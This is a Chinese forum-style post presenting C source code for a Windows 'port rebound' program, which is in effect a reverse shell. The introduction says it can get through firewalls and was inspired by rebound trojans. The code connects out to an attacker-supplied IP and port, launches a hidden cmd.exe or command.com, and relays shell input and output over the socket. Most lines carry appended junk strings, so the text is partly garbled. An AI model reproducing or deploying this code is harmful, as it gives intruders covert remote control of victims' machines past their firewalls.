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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 17}$=#SX  
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/* ============================== AoYaVlKG8  
Rebound port in Windows NT IdPn%)>6  
By wind,2006/7 bd!U)b(}OV  
===============================*/ |; $Bb866/  
#include fN-Gk(Ic  
#include c<wavvfUo  
#^6^  
#pragma comment(lib,"wsock32.lib") -Ep!- a  
)MZC>:  
void OutputShell(); !VwmPAMr#v  
SOCKET sClient; y4@gGC=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $Pxb1E  
B^fT>1P  
void main(int argc,char **argv) Z!6UW:&~7  
{ ?  -3\  
WSADATA stWsaData; k[\a)WcY8  
int nRet; a2`%gh W3  
SOCKADDR_IN stSaiClient,stSaiServer; -DP*q3  
0VN7/=n|  
if(argc != 3) ,_jC$  
{ xRum*}|4  
printf("Useage:\n\rRebound DestIP DestPort\n"); !K cWH9  
return; i|]7(z#OyI  
} 5t\HJ`C1Z  
u%u&F^y  
WSAStartup(MAKEWORD(2,2),&stWsaData); 1<.5ub*i4  
RRADg^}l|"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $ rUSKm#  
ACg;CTB b  
stSaiClient.sin_family = AF_INET; ;I}'}  
stSaiClient.sin_port = htons(0); tdep|sD  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); x)SralWb  
cWMUj K/N  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) mdW~~-@H  
{ F";.6%;AC  
printf("Bind Socket Failed!\n"); %MZP)k,&U  
return; IA4N@ijRxh  
} /c`^iPb  
? }yfKU`  
stSaiServer.sin_family = AF_INET; %{!R l@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C&+6>L@  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0K `[,$Y  
9CJ(Z+;OM  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "Y;}G lE  
{ `!vUsM.d  
printf("Connect Error!"); :@eHX&  
return; ST1'\Eo  
} s$w;q\1z  
OutputShell(); N\NyXh$  
} aJhxc<"e  
B4h5[fPX  
void OutputShell() >|g?wC}V;  
{ B(_WZa!  
char szBuff[1024]; k()$:-V  
SECURITY_ATTRIBUTES stSecurityAttributes; ;AX8aw,  
OSVERSIONINFO stOsversionInfo; j+rG7z){K  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VwyVEZt  
STARTUPINFO stStartupInfo; yVX8e I  
char *szShell; m&*JMA;^  
PROCESS_INFORMATION stProcessInformation; d%_OT0Ei  
unsigned long lBytesRead; I|9 SiZ0  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w(9*7pp  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ALc`t(..}A  
stSecurityAttributes.lpSecurityDescriptor = 0; a0=WfeT  
stSecurityAttributes.bInheritHandle = TRUE; / 3!fA=+  
tyh@ ^7  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :Y P#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .fAv*pUzU  
M}O}:1Par  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o`n$b(VZ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EON:B>2a  
stStartupInfo.wShowWindow = SW_HIDE; k V;fD$iW;  
stStartupInfo.hStdInput = hReadPipe; 7fHc[,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .uF[C{RnO  
nXy>7H[0  
GetVersionEx(&stOsversionInfo); Q>Qibr  
g%nl!dgS  
switch(stOsversionInfo.dwPlatformId) h6~$/`&]b  
{ [P~hjmJ(y  
case 1: OsqN B'X  
szShell = "command.com"; ]QVNn?PA8  
break; &V7M}@  
default: k(t}^50^j  
szShell = "cmd.exe"; iK5_u2]Q  
break; bq>_qpr  
} b2,!g }I  
*=AqM14 @  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3]RyTQ  
+Q$h ]^>~  
send(sClient,szMsg,77,0); tM4 Cx  
while(1) TX=yPq  
{ 8NBT|N~N  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m3bCZ 9iE  
if(lBytesRead) n_?tN\M  
{ 3"N)xO-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vi.w8 >CE  
send(sClient,szBuff,lBytesRead,0); (o5j'2:.  
} QnQOm ""  
else 1r Ky@9   
{ M_g ?<rK  
lBytesRead=recv(sClient,szBuff,1024,0); Ep9W-n?}  
if(lBytesRead<=0) break; "]K>j'^Zs<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2*w0t:Yx e  
} Dre2J<QL  
} z2_6??tS/c  
a 2 IgC25  
return; ryB}b1`D  
}
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